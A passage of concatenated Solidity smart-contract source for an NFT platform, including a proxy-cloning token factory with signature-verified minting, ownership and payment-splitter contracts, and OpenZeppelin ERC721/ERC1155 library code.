the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("SHOYU: INVALID_RECEIVER"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "../interfaces/IOwnable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableInitializable is Initializable, IOwnable { address private _owner; /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init(address __owner) internal initializer { __Ownable_init_unchained(__owner); } function __Ownable_init_unchained(address __owner) internal initializer { _owner = __owner; emit OwnershipTransferred(address(0), __owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual override returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "SHOYU: FORBIDDEN"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual override onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual override onlyOwner { require(newOwner != address(0), "SHOYU: INVALID_NEW_OWNER"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./interfaces/ITokenFactory.sol"; import "./interfaces/IBaseNFT721.sol"; import "./interfaces/IBaseNFT1155.sol"; import "./interfaces/ISocialToken.sol"; import "./base/ProxyFactory.sol"; import "./libraries/Signature.sol"; contract TokenFactory is ProxyFactory, Ownable, ITokenFactory { uint8 public constant override MAX_ROYALTY_FEE = 250; // 25% uint8 public constant override MAX_OPERATIONAL_FEE = 50; // 5% // keccak256("ParkTokenIds721(address nft,uint256 toTokenId,uint256 nonce)"); bytes32 public constant override PARK_TOKEN_IDS_721_TYPEHASH = 0x3fddacac0a7d8b05f741f01ff6becadd9986be8631a2af41a675f365dd74090d; // keccak256("MintBatch721(address nft,address to,uint256[] tokenIds,bytes data,uint256 nonce)"); bytes32 public constant override MINT_BATCH_721_TYPEHASH = 0x884adba7f4e17962aed36c871036adea39c6d9f81fb25407a78db239e9731e86; // keccak256("MintBatch1155(address nft,address to,uint256[] tokenIds,uint256[] amounts,bytes data,uint256 nonce)"); bytes32 public constant override MINT_BATCH_1155_TYPEHASH = 0xb47ce0f6456fcc2f16b7d6e7b0255eb73822b401248e672a4543c2b3d7183043; // keccak256("MintSocialToken(address token,address to,uint256 amount,uint256 nonce)"); bytes32 public constant override MINT_SOCIAL_TOKEN_TYPEHASH = 0x8f4bf92e5271f5ec2f59dc3fc74368af0064fb84b40a3de9150dd26c08cda104; bytes32 internal immutable _DOMAIN_SEPARATOR; uint256 internal immutable _CACHED_CHAIN_ID; address[] internal _targets721; address[] internal _targets1155; address[] internal _targetsSocialToken; address internal _protocolFeeRecipient; uint8 internal _protocolFee; // out of 1000 address internal _operationalFeeRecipient; uint8 internal _operationalFee; // out of 1000 mapping(address => uint256) public override nonces; string public override baseURI721; string public override baseURI1155; address public override erc721Exchange; address public override erc1155Exchange; // any account can deploy proxies if isDeployerWhitelisted[0x0000000000000000000000000000000000000000] == true mapping(address => bool) public override isDeployerWhitelisted; mapping(address => bool) public override isStrategyWhitelisted; modifier onlyDeployer { require(isDeployerWhitelisted[address(0)] || isDeployerWhitelisted[msg.sender], "SHOYU: FORBIDDEN"); _; } constructor( address protocolFeeRecipient, uint8 protocolFee, address operationalFeeRecipient, uint8 operationalFee, string memory _baseURI721, string memory _baseURI1155 ) { _protocolFeeRecipient = protocolFeeRecipient; _protocolFee = protocolFee; _operationalFeeRecipient = operationalFeeRecipient; _operationalFee = operationalFee; baseURI721 = _baseURI721; baseURI1155 = _baseURI1155; _CACHED_CHAIN_ID = block.chainid; _DOMAIN_SEPARATOR = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } function DOMAIN_SEPARATOR() public view override returns (bytes32) { bytes32 domainSeparator; if (_CACHED_CHAIN_ID == block.chainid) domainSeparator = _DOMAIN_SEPARATOR; else { domainSeparator = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } return domainSeparator; } function protocolFeeInfo() external view override returns (address recipient, uint8 permil) { return (_protocolFeeRecipient, _protocolFee); } function operationalFeeInfo() external view override returns (address recipient, uint8 permil) { return (_operationalFeeRecipient, _operationalFee); } // This function should be called with a proper param by a multi-sig `owner` function setBaseURI721(string memory uri) external override onlyOwner { baseURI721 = uri; emit SetBaseURI721(uri); } // This function should be called with a proper param by a multi-sig `owner` function setBaseURI1155(string memory uri) external override onlyOwner { baseURI1155 = uri; emit SetBaseURI1155(uri); } // This function should be called by a multi-sig `owner`, not an EOA function setProtocolFeeRecipient(address protocolFeeRecipient) external override onlyOwner { require(protocolFeeRecipient != address(0), "SHOYU: INVALID_FEE_RECIPIENT"); _protocolFeeRecipient = protocolFeeRecipient; emit SetProtocolFeeRecipient(protocolFeeRecipient); } // This function should be called by a multi-sig `owner`, not an EOA function setOperationalFeeRecipient(address operationalFeeRecipient) external override onlyOwner { require(operationalFeeRecipient != address(0), "SHOYU: INVALID_RECIPIENT"); _operationalFeeRecipient = operationalFeeRecipient; emit SetOperationalFeeRecipient(operationalFeeRecipient); } // This function should be called by a multi-sig `owner`, not an EOA function setOperationalFee(uint8 operationalFee) external override onlyOwner { require(operationalFee <= MAX_OPERATIONAL_FEE, "SHOYU: INVALID_FEE"); _operationalFee = operationalFee; emit SetOperationalFee(operationalFee); } // This function should be called by a multi-sig `owner`, not an EOA function setDeployerWhitelisted(address deployer, bool whitelisted) external override onlyOwner { isDeployerWhitelisted[deployer] = whitelisted; emit SetDeployerWhitelisted(deployer, whitelisted); } // This function should be called by a multi-sig `owner`, not an EOA function setStrategyWhitelisted(address strategy, bool whitelisted) external override onlyOwner { require(strategy != address(0), "SHOYU: INVALID_ADDRESS"); isStrategyWhitelisted[strategy] = whitelisted; emit SetStrategyWhitelisted(strategy, whitelisted); } // This function should be called by a multi-sig `owner`, not an EOA function upgradeNFT721(address newTarget) external override onlyOwner { _targets721.push(newTarget); emit UpgradeNFT721(newTarget); } // This function should be called by a multi-sig `owner`, not an EOA function upgradeNFT1155(address newTarget) external override onlyOwner { _targets1155.push(newTarget); emit UpgradeNFT1155(newTarget); } // This function should be called by a multi-sig `owner`, not an EOA function upgradeSocialToken(address newTarget) external override onlyOwner { _targetsSocialToken.push(newTarget); emit UpgradeSocialToken(newTarget); } // This function should be called by a multi-sig `owner`, not an EOA function upgradeERC721Exchange(address exchange) external override onlyOwner { erc721Exchange = exchange; emit UpgradeERC721Exchange(exchange); } // This function should be called by a multi-sig `owner`, not an EOA function upgradeERC1155Exchange(address exchange) external override onlyOwner { erc1155Exchange = exchange; emit UpgradeERC1155Exchange(exchange); } function deployNFT721AndMintBatch( address owner, string calldata name, string calldata symbol, uint256[] memory tokenIds, address royaltyFeeRecipient, uint8 royaltyFee ) external override onlyDeployer returns (address nft) { require(bytes(name).length > 0, "SHOYU: INVALID_NAME"); require(bytes(symbol).length > 0, "SHOYU: INVALID_SYMBOL"); require(owner != address(0), "SHOYU: INVALID_ADDRESS"); nft = _createProxy( _targets721[_targets721.length - 1], abi.encodeWithSignature( "initialize(address,string,string,uint256[],address,uint8)", owner, name, symbol, tokenIds, royaltyFeeRecipient, royaltyFee ) ); emit DeployNFT721AndMintBatch(nft, owner, name, symbol, tokenIds, royaltyFeeRecipient, royaltyFee); } function deployNFT721AndPark( address owner, string calldata name, string calldata symbol, uint256 toTokenId, address royaltyFeeRecipient, uint8 royaltyFee ) external override onlyDeployer returns (address nft) { require(bytes(name).length > 0, "SHOYU: INVALID_NAME"); require(bytes(symbol).length > 0, "SHOYU: INVALID_SYMBOL"); require(owner != address(0), "SHOYU: INVALID_ADDRESS"); nft = _createProxy( _targets721[_targets721.length - 1], abi.encodeWithSignature( "initialize(address,string,string,uint256,address,uint8)", owner, name, symbol, toTokenId, royaltyFeeRecipient, royaltyFee ) ); emit DeployNFT721AndPark(nft, owner, name, symbol, toTokenId, royaltyFeeRecipient, royaltyFee); } function isNFT721(address query) external view override returns (bool result) { if (query == address(0)) return false; for (uint256 i = _targets721.length; i >= 1; i--) { if (_isProxy(_targets721[i - 1], query)) { return true; } } return false; } function deployNFT1155AndMintBatch( address owner, uint256[] memory tokenIds, uint256[] memory amounts, address royaltyFeeRecipient, uint8 royaltyFee ) external override onlyDeployer returns (address nft) { require(owner != address(0), "SHOYU: INVALID_ADDRESS"); require(tokenIds.length == amounts.length, "SHOYU: LENGTHS_NOT_EQUAL"); nft = _createProxy( _targets1155[_targets1155.length - 1], abi.encodeWithSignature( "initialize(address,uint256[],uint256[],address,uint8)", owner, tokenIds, amounts, royaltyFeeRecipient, royaltyFee ) ); emit DeployNFT1155AndMintBatch(nft, owner, tokenIds, amounts, royaltyFeeRecipient, royaltyFee); } function isNFT1155(address query) external view override returns (bool result) { if (query == address(0)) return false; for (uint256 i = _targets1155.length; i >= 1; i--) { if (_isProxy(_targets1155[i - 1], query)) { return true; } } return false; } function deploySocialToken( address owner, string memory name, string memory symbol, address dividendToken, uint256 initialSupply ) external override onlyDeployer returns (address proxy) { require(bytes(name).length > 0, "SHOYU: INVALID_NAME"); require(bytes(symbol).length > 0, "SHOYU: INVALID_SYMBOL"); require(owner != address(0), "SHOYU: INVALID_ADDRESS"); bytes memory initData = abi.encodeWithSignature( "initialize(address,string,string,address,uint256)", owner, name, symbol, dividendToken, initialSupply ); proxy = _createProxy(_targetsSocialToken[_targetsSocialToken.length - 1], initData); emit DeploySocialToken(proxy, owner, name, symbol, dividendToken, initialSupply); } function isSocialToken(address query) external view override returns (bool result) { if (query == address(0)) return false; for (uint256 i = _targetsSocialToken.length; i >= 1; i--) { if (_isProxy(_targetsSocialToken[i - 1], query)) { return true; } } return false; } function parkTokenIds721( address nft, uint256 toTokenId, uint8 v, bytes32 r, bytes32 s ) external override { address owner = IBaseNFT721(nft).owner(); bytes32 hash = keccak256(abi.encode(PARK_TOKEN_IDS_721_TYPEHASH, nft, toTokenId, nonces[owner]++)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); IBaseNFT721(nft).parkTokenIds(toTokenId); } function mintBatch721( address nft, address to, uint256[] calldata tokenIds, bytes calldata data, uint8 v, bytes32 r, bytes32 s ) external override { address owner = IBaseNFT721(nft).owner(); bytes32 hash = keccak256(abi.encode(MINT_BATCH_721_TYPEHASH, nft, to, tokenIds, data, nonces[owner]++)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); IBaseNFT721(nft).mintBatch(to, tokenIds, data); } function mintBatch1155( address nft, address to, uint256[] calldata tokenIds, uint256[] calldata amounts, bytes calldata data, uint8 v, bytes32 r, bytes32 s ) external override { address owner = IBaseNFT1155(nft).owner(); bytes32 hash = keccak256(abi.encode(MINT_BATCH_1155_TYPEHASH, nft, to, tokenIds, amounts, data, nonces[owner]++)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); IBaseNFT1155(nft).mintBatch(to, tokenIds, amounts, data); } function mintSocialToken( address token, address to, uint256 amount, uint8 v, bytes32 r, bytes32 s ) external override { address owner = ISocialToken(token).owner(); bytes32 hash = keccak256(abi.encode(MINT_SOCIAL_TOKEN_TYPEHASH, token, to, amount, nonces[owner]++)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); ISocialToken(token).mint(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol"; import "./IOwnable.sol"; interface IBaseNFT1155 is IERC1155, IERC1155MetadataURI, IOwnable { event SetURI(uint256 indexed id, string uri); event SetBaseURI(string uri); event Burn(uint256 indexed tokenId, uint256 amount, uint256 indexed label, bytes32 data); function PERMIT_TYPEHASH() external view returns (bytes32); function DOMAIN_SEPARATOR() external view returns (bytes32); function factory() external view returns (address); function nonces(address account) external view returns (uint256); function initialize(address _owner) external; function setURI(uint256 id, string memory uri) external; function setBaseURI(string memory baseURI) external; function mint( address to, uint256 tokenId, uint256 amount, bytes calldata data ) external; function mintBatch( address to, uint256[] calldata tokenIds, uint256[] calldata amounts, bytes calldata data ) external; function burn( uint256 tokenId, uint256 amount, uint256 label, bytes32 data ) external; function burnBatch(uint256[] calldata tokenIds, uint256[] calldata amounts) external; function permit( address owner, address spender, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "./IDividendPayingERC20.sol"; import "./IOwnable.sol"; interface ISocialToken is IDividendPayingERC20, IOwnable { event Burn(uint256 amount, uint256 indexed label, bytes32 data); function initialize( address owner, string memory name, string memory symbol, address dividendToken, uint256 initialSupply ) external; function PERMIT_TYPEHASH() external view returns (bytes32); function DOMAIN_SEPARATOR() external view returns (bytes32); function factory() external view returns (address); function nonces(address owner) external view returns (uint256); function mint(address account, uint256 value) external; function burn( uint256 value, uint256 id, bytes32 data ) external; function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; // Reference: https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol contract ProxyFactory { function _createProxy(address target, bytes memory initData) internal returns (address proxy) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) proxy := create(0, clone, 0x37) } if (initData.length > 0) { (bool success, ) = proxy.call(initData); require(success, "SHOYU: CALL_FAILURE"); } } function _isProxy(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and(eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./interfaces/IPaymentSplitterFactory.sol"; import "./base/ProxyFactory.sol"; import "./PaymentSplitter.sol"; contract PaymentSplitterFactory is ProxyFactory, IPaymentSplitterFactory { address internal _target; constructor() { PaymentSplitter target = new PaymentSplitter(); address[] memory payees = new address[](1); payees[0] = msg.sender; uint256[] memory shares = new uint256[](1); shares[0] = 1; target.initialize("", payees, shares); _target = address(target); } function deployPaymentSplitter( address owner, string calldata title, address[] calldata payees, uint256[] calldata shares ) external override returns (address splitter) { splitter = _createProxy( _target, abi.encodeWithSignature("initialize(string,address[],uint256[])", title, payees, shares) ); emit DeployPaymentSplitter(owner, title, payees, shares, splitter); } function isPaymentSplitter(address query) external view override returns (bool result) { return _isProxy(_target, query); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IPaymentSplitterFactory { event DeployPaymentSplitter( address indexed owner, string title, address[] payees, uint256[] shares, address splitter ); function deployPaymentSplitter( address owner, string calldata title, address[] calldata payees, uint256[] calldata shares ) external returns (address splitter); function isPaymentSplitter(address query) external view returns (bool result); } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "./interfaces/IPaymentSplitter.sol"; import "./libraries/TokenHelper.sol"; // Reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol contract PaymentSplitter is Initializable, IPaymentSplitter { using TokenHelper for address; string public override title; /** * @dev Getter for the total shares held by payees. */ uint256 public override totalShares; /** * @dev Getter for the total amount of token already released. */ mapping(address => uint256) public override totalReleased; /** * @dev Getter for the amount of shares held by an account. */ mapping(address => uint256) public override shares; /** * @dev Getter for the amount of token already released to a payee. */ mapping(address => mapping(address => uint256)) public override released; /** * @dev Getter for the address of the payee number `index`. */ address[] public override payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ function initialize( string calldata _title, address[] calldata _payees, uint256[] calldata _shares ) external override initializer { require(_payees.length == _shares.length, "SHOYU: LENGTHS_NOT_EQUAL"); require(_payees.length > 0, "SHOYU: LENGTH_TOO_SHORT"); title = _title; for (uint256 i = 0; i < _payees.length; i++) { _addPayee(_payees[i], _shares[i]); } } /** * @dev Triggers a transfer to `account` of the amount of token they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address token, address account) external virtual override { require(shares[account] > 0, "SHOYU: FORBIDDEN"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased[token]; uint256 payment = (totalReceived * shares[account]) / totalShares - released[token][account]; require(payment != 0, "SHOYU: NO_PAYMENT"); released[token][account] += payment; totalReleased[token] += payment; token.safeTransfer(account, payment); emit PaymentReleased(token, account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param _shares The number of shares owned by the payee. */ function _addPayee(address account, uint256 _shares) private { require(account != address(0), "SHOYU: INVALID_ADDRESS"); require(_shares > 0, "SHOYU: INVALID_SHARES"); require(shares[account] == 0, "SHOYU: ALREADY_ADDED"); payees.push(account); shares[account] = _shares; totalShares = totalShares + _shares; emit PayeeAdded(account, _shares); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IPaymentSplitter { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address token, address to, uint256 amount); function initialize( string calldata _title, address[] calldata _payees, uint256[] calldata _shares ) external; function title() external view returns (string memory); function totalShares() external view returns (uint256); function totalReleased(address account) external view returns (uint256); function shares(address account) external view returns (uint256); function released(address token, address account) external view returns (uint256); function payees(uint256 index) external view returns (address); function release(address token, address account) external; } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; library TokenHelper { using SafeERC20 for IERC20; address public constant ETH = 0x0000000000000000000000000000000000000000; function balanceOf(address token, address account) internal view returns (uint256) { if (token == ETH) { return account.balance; } else { return IERC20(token).balanceOf(account); } } function safeTransfer( address token, address to, uint256 amount ) internal { if (token == ETH) { (bool success, ) = to.call{value: amount}(""); require(success, "SHOYU: TRANSFER_FAILURE"); } else { IERC20(token).safeTransfer(to, amount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit 